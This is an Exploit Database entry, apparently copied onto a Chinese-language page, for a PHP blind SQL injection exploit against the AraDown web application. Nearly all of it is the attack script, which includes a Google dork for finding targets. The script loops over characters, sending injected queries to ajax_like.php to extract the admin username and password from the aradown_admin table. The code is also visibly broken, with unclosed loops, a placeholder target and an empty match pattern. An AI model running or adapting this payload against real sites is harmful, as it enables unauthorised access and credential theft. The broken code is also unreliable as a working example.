AraDown – Blind SQL Injection

Exploit Database
100 阅读

作者： G-B

日期： 2012-08-08
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/20344/

<?php

echo "

_____ __ _____ ____________

/___| | || | /_\ /___/|__ __|

| |_| |__| | | | | | | |___| |

| | | | |__| | | | | \___\ | |

| |_| | | || | | |_| |___| | | |

\_____/ |_||_| \_____/ /_____/ |_|

_____ _____ _____ ___________

|_ \| | /_\ /_\ |_\ \\//

| |_) | | | | | | | | | | | | | |\ \\//

|_ (| | | | | | | | | | | | ||\/

| |_) | | |___| |_| | | |_| | | |_|/ ||

|____/|_____| \_____/ \_____/ |_____/|__|

[*]-----------------------------------------------------------------------[*]

# Exploit Title: ArDown (All Version) <- Remote Blind SQL Injection

# Google Dork: 'powered by AraDown'

# Date : 08/07/2012

# Exploit Author : G-B

# Email: g22b@hotmail.com

# Software Link: http://aradown.info/

# Version: All Version

[*]-----------------------------------------------------------------------[*]

[*] Target -> ";

$target = stdin();

$ar = array('1','2','3','4','5','6','7','8','9','0','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z');

echo "[*] Username : ";

for($i=1;$i<=30;$i++){

foreach($ar as $char){

$b = send('http://server',"3' and (select substr(username,$i,1) from aradown_admin)='$char' # ");

if(eregi('',$b) && $char == 'z'){

$i = 50;

break;

}

if(eregi('',$b)) continue;

echo $char;

break;

}

echo "\n[*] Password : ";

for($i=1;$i<=32;$i++){

foreach($ar as $char){

$b = send('http://server',"3' and (select substr(password,$i,1) from aradown_admin)='$char' # ");

if(eregi('',$b)) continue;

echo $char;

break;

}

function send($target,$query){

$ch = curl_init();

curl_setopt($ch,CURLOPT_URL,"$target/ajax_like.php");

curl_setopt($ch,CURLOPT_POST,true);

curl_setopt($ch,CURLOPT_POSTFIELDS,array('id'=>$query));

curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);

$r = curl_exec($ch);

curl_close($ch);

return $r;

}

function stdin(){

$fp = fopen("php://stdin","r");

$line = trim(fgets($fp));

fclose($fp);

return $line;

}